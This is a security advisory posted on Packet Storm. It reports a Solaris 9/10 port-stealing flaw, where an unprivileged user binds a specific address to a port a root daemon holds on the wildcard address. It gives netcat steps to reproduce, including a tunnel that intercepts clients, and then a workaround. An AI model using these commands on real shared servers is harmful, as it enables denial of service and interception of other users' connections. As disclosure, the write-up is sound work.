what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Solaris 10 Port Stealing

Solaris 10 Port Stealing
Posted Mar 29, 2011
Authored by Chris O'Regan

Solaris 10 suffers from a port stealing vulnerability that can be leveraged to enable denial of service and man-in-the-middle attacks.

tags | exploit, denial of service
systems | solaris
SHA-256 | 48675e27be933162ec7baa7aa594498059d2ec27697cce05e158de2eb0bcbf53

Solaris 10 Port Stealing

Change Mirror Download
I reported this to Oracle, but I have been told that this is part of the
BSD standard and a desire feature (!).

In a nutshell, as an ordinary user, I can bind to a port using a
specific address even if another process is already bound to it with a
wildcard address. This makes it very easy for an unprivileged user with
login access to the server to set up a denial of service or
man-in-the-middle attack. Of course, this applies to ports greater than
1024.


Steps to reproduce:

As root, start daemon on *:55555:

[root@foo:/root]# netcat -l -p 55555

As an ordinary user, attempt to start another daemon listening to
the same port:

[user@foo:/home/user]$ netcat -l -p 55555
Error: Couldn't setup listening socket (err=-3)

Good, now let's try a specific interface:

[user@foo:/home/user]$ netcat -l -p 55555 -s foo

It's listening!

Now establish a connection to port 55555:

[user@bar:/home/user]$ netcat foo 55555

I confirm that it is the second netcat (the unprivileged one
listening on foo:55555) receiving the data. If I stop it and
reconnect, the netcat running as root answers.

To illustrate the seriousness, here I create a tunnel from
foo:55555 to localhost:55555, inserting myself between the
client and the real daemon!

[user@foo:/home/user]$ netcat -L localhost:55555 -p 55555 -s foo -v
Connection from A.B.C.D:41378
localhost [127.0.0.1] 55555 open

This vulnerability also exists in Solaris 9.

The work-around, I was told, was to make the port privileged (only root
can bind to the port):

[root@foo:/root]# ndd -set /dev/tcp tcp_extra_priv_ports_add 55555

This is not a practical solution, nor does it protect ordinary users who
may run software that starts a daemon listing on a wildcard address.

A better solution, in my opinion, would be to disable this feature by
default and provide a system variable to enable the behaviour only when
it is desired.


--
Chris O'Regan <chris@encs.concordia.ca>
Senior Unix Systems Administrator, Academic IT Services
Faculty of Engineering and Computer Science
Concordia University, Montreal, Canada
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close